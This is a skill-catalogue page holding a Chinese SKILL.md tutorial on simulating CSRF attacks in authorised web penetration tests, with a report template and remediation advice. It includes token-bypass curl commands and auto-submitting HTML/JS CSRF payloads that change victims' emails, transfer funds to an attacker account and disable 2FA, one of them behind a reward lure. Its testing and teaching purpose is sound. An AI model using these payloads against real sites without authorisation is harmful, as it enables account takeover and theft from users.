L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Développement · SKILL.md

performing-csrf-attack-simulation

performing-csrf-attack-simulation

在授权安全评估中,通过构造利用已认证用户会话的伪造请求,测试 Web 应用程序的跨站请求伪造(CSRF)漏洞。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-csrf-attack-simulation description: 在授权安全评估中,通过构造利用已认证用户会话的伪造请求,测试 Web 应用程序的跨站请求伪造(CSRF)漏洞。 domain: cybersecurity subdomain: web-application-security tags: [penetration-testing, csrf, owasp, web-security, session-management, burpsuite] version: "1.0" author: mahipal license: Apache-2.0

执行 CSRF 攻击模拟(Performing CSRF Attack Simulation)

适用场景

  • 在授权 Web 应用程序渗透测试期间,识别易受 CSRF 攻击的状态变更操作
  • 测试反 CSRF 令牌实现的有效性时
  • 验证不同浏览器中 SameSite Cookie 属性的强制执行时
  • 评估执行敏感操作的应用程序(密码修改、资金转账、设置变更)时
  • 在对自定义认证和会话管理机制进行安全审计时

前置条件

  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:具备 CSRF PoC 生成功能
  • Web 服务器:用于托管 CSRF PoC 页面的本地 HTTP 服务器(Python http.server)
  • 两个浏览器:一个以受害者身份认证,一个作为攻击者
  • 目标应用程序:带有有效测试凭据的已认证会话
  • HTML/JavaScript 知识:用于构造自定义 CSRF 载荷

工作流程

步骤 1:识别状态变更请求

浏览应用程序,识别所有修改服务器端状态的 POST/PUT/DELETE 请求。

# 在 Burp Suite 中,查看 Proxy > HTTP History
# 过滤 POST/PUT/DELETE 方法
# 重点关注以下操作:
# - 密码/邮箱修改
# - 资金/金钱转账
# - 账户设置变更
# - 添加/删除用户或权限
# - 创建/删除资源
# - 切换安全功能(禁用双因素认证)

# Burp 中捕获的状态变更请求示例:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# 检查反 CSRF 保护:
# - 表单字段或头部中的 CSRF 令牌
# - 自定义头部(X-CSRF-Token、X-Requested-With)
# - SameSite Cookie 属性
# - Referer/Origin 头部验证

步骤 2:分析反 CSRF 令牌实现

测试现有 CSRF 保护的强度和执行情况。

# 检查是否存在 CSRF 令牌
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# 测试 1:完全删除 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 2:发送空的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 3:使用随机/无效的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 4:复用过期/旧的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 5:使用用户 B 的 CSRF 令牌与用户 A 的会话
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

步骤 3:检查 SameSite Cookie 和头部保护

验证基于浏览器和头部的 CSRF 防御。

# 检查会话 Cookie 上的 SameSite 属性
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# 查找:SameSite=Strict、SameSite=Lax 或 SameSite=None

# SameSite=Lax 允许对顶层 GET 导航进行 CSRF
# SameSite=None; Secure 允许跨站请求
# 无 SameSite 属性:浏览器默认为 Lax(现代浏览器)

# 检查 Origin/Referer 头部验证
# 发送不含 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送含恶意 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送伪造 Origin 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

步骤 4:使用 Burp Suite 生成 CSRF 概念验证

使用 Burp 内置的 CSRF PoC 生成器进行快速测试。

# 在 Burp Suite 中:
# 1. 右键点击 Proxy > HTTP History 中的目标请求
# 2. 选择"Engagement tools">"Generate CSRF PoC"
# 3. 点击"Test in browser"验证 PoC

# Burp 生成如下 HTML:
<!-- 自动提交的表单编码 POST CSRF PoC -->
<html>
  <body>
    <h1>加载中...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

步骤 5:构造高级 CSRF 载荷

针对 JSON API 和其他非标准内容类型,使用高级技术。

<!-- 使用 enctype 的 JSON API CSRF 表单 -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- 通过 XMLHttpRequest 的 CSRF(需要宽松的 CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>

<!-- 通过 fetch API 的 CSRF -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "email=attacker@evil.com"
});
</script>

<!-- 通过图片标签的 CSRF(基于 GET 的状态变更) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- 通过 iframe 的多步骤 CSRF -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

步骤 6:测试并验证 CSRF 攻击

托管 PoC 并确认成功利用。

# 启动本地 Web 服务器托管 CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC 文件结构:
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC 页面
#   change-email.html   <- 邮箱修改 CSRF
#   transfer.html       <- 资金转账 CSRF

# 测试步骤:
# 1. 在浏览器 A 中以受害者用户身份登录目标
# 2. 在浏览器 A 中打开 http://localhost:8888/change-email.html
# 3. 检查邮箱是否在未经受害者同意的情况下被修改
# 4. 在应用程序中验证状态变更

# 通过顶层导航绕过 SameSite=Lax:
# 对基于 GET 的 CSRF 使用 window.open 或 anchor 标签
<!-- 使用顶层导航绕过 SameSite=Lax -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">点击此处获得奖励!</a>
    <script>
      // 通过社会工程学上下文自动点击
      // SameSite=Lax 允许在顶层 GET 导航时携带 Cookie
    </script>
  </body>
</html>

核心概念

概念定义
CSRF欺骗已认证用户的浏览器向存在漏洞的站点发出非预期请求的攻击
反 CSRF 令牌(Anti-CSRF Token)绑定到用户会话的唯一不可预测值,必须包含在状态变更请求中
SameSite Cookie控制 Cookie 在跨站请求中何时发送的浏览器属性(Strict、Lax、None)
Origin 头部表明请求来源的 HTTP 头部,用于 CSRF 验证
Referer 头部包含引用页面 URL 的 HTTP 头部,有时用于 CSRF 检查
双重提交 Cookie(Double Submit Cookie)比较 Cookie 值与请求参数值的 CSRF 防御方式
同步器令牌模式(Synchronizer Token Pattern)服务器为每个会话或每个请求生成并验证唯一令牌

工具与系统

工具用途
Burp Suite ProfessionalCSRF PoC 生成器和请求分析
OWASP ZAP反 CSRF 令牌检测和 CSRF 测试
XSRFProbe自动化 CSRF 漏洞扫描器(pip install xsrfprobe)
Python http.server用于托管 CSRF PoC 页面的本地 Web 服务器
Browser DevTools检查 Cookie、SameSite 属性和网络请求
CSRFTester (OWASP)用于构造和测试 CSRF 攻击的旧版工具

常见场景

场景 1:无 CSRF 令牌的邮箱修改

邮箱修改表单不包含 CSRF 令牌。攻击者托管一个自动提交表单的页面,将受害者邮箱修改为攻击者地址,从而通过密码重置链实现账户接管。

场景 2:通过令牌绕过的资金转账

银行应用程序具有 CSRF 令牌,但如果参数被完全省略则不进行验证。从转账表单中删除 csrf_token 字段即可实现跨站资金转账。

场景 3:通过内容类型操控的 JSON API CSRF

JSON API 端点不需要自定义头部。在 HTML 表单中使用 enctype="text/plain",攻击者可以构造有效的 JSON 请求体来修改受害者的账户设置。

场景 4:基于 GET 状态变更的 SameSite=Lax 绕过

设置页面通过 GET 请求修改状态(/settings?disable_2fa=true)。由于 SameSite=Lax 允许在顶层 GET 导航时携带 Cookie,将受害者链接到此 URL 即可禁用其双因素认证。

输出格式

## CSRF 漏洞发现报告

**漏洞**:跨站请求伪造(邮箱修改)
**严重程度**:高(CVSS 8.0)
**位置**:POST /api/account/change-email
**OWASP 类别**:A01:2021 - 访问控制失效

### 复现步骤
1. 以受害者身份在 https://target.example.com 认证
2. 在攻击者控制的服务器上托管以下 HTML
3. 诱使受害者在已认证状态下访问攻击者页面
4. 受害者邮箱在未经同意的情况下被修改为 attacker@evil.com

### 已测试的反 CSRF 防御
| 防御措施 | 是否存在 | 是否强制执行 |
|---------|---------|----------|
| CSRF 令牌 | 否 | 不适用 |
| SameSite Cookie | Lax | 部分(GET 绕过) |
| Origin 验证 | 否 | 不适用 |
| Referer 验证 | 否 | 不适用 |
| 需要自定义头部 | 否 | 不适用 |

### 影响
- 通过邮箱修改 + 密码重置链实现账户接管
- 未授权资金转账
- 设置修改(禁用双因素认证、通知变更)

### 修复建议
1. 对所有状态变更请求实施同步器令牌模式(反 CSRF 令牌)
2. 尽可能在会话 Cookie 上设置 SameSite=Strict
3. 将 Origin 和 Referer 头部验证作为深度防御措施
4. 对敏感操作(密码修改、资金转账)要求重新认证
5. 对 AJAX 端点使用自定义请求头(X-Requested-With)
Skills enregistrées